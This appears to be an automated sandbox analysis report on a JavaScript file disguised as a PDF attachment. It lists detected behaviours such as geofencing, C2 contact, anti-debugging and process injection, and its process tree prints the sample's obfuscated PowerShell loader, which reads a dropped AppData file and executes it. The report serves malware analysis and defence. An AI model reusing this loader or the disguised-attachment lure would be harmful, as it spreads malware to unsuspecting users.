Analysis
- max time kernel
149s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
13/07/2026, 13:41
General
- Target 12.2. ANEXO A - ICA·pdf.js
- Size 12KB
- Sample260713-qzcppscv7y
- SHA256 53ea8c1cb4f4f461628f3383a80fe60957281342c1d713064f2f26d2542aa1b2
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies Internet Explorer settings 1 TTPs 4 IoCs
- Modifies registry class 23 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
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C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\12.2. ANEXO A - ICA·pdf.js"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\explorer.exe"C:\Windows\explorer.exe" C:\Windows2⤵
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C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $Omnip='/app'+'data';$Printning=gc ($home+$Omnip+'/local/Fallererlo');$Inelegan=$Printning[4896]+$Printning[4897]+$Printning[4898]; . ($Inelegan) $Printning"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " $Omnip='/app'+'data';$Printning=gc ($home+$Omnip+'/local/Fallererlo');$Inelegan=$Printning[4896]+$Printning[4897]+$Printning[4898]; . ($Inelegan) $Printning"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
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C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- System Location Discovery: System Language Discovery
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_x05orob1.4y2.ps1
Rulskifte.Und
Fallererlo
memory/1836-24-0x0000000005BB0000-0x0000000005F04000-memory.dmp
memory/1836-32-0x0000000006780000-0x00000000067A2000-memory.dmp
memory/1836-17-0x0000000005AD0000-0x0000000005B36000-memory.dmp
memory/1836-18-0x0000000005B40000-0x0000000005BA6000-memory.dmp
memory/1836-39-0x0000000016B20000-0x000000001B9B7000-memory.dmp
memory/1836-15-0x00000000054A0000-0x0000000005AC8000-memory.dmp
memory/1836-28-0x0000000006210000-0x000000000622E000-memory.dmp
memory/1836-29-0x0000000006230000-0x000000000627C000-memory.dmp
memory/1836-30-0x00000000071F0000-0x0000000007286000-memory.dmp
memory/1836-31-0x0000000006730000-0x000000000674A000-memory.dmp
memory/1836-16-0x00000000052F0000-0x0000000005312000-memory.dmp
memory/1836-33-0x0000000007870000-0x0000000007E14000-memory.dmp
memory/1836-34-0x00000000084A0000-0x0000000008B1A000-memory.dmp
memory/1836-14-0x0000000002870000-0x00000000028A6000-memory.dmp
memory/4760-1-0x0000028A2E9D0000-0x0000028A2E9F2000-memory.dmp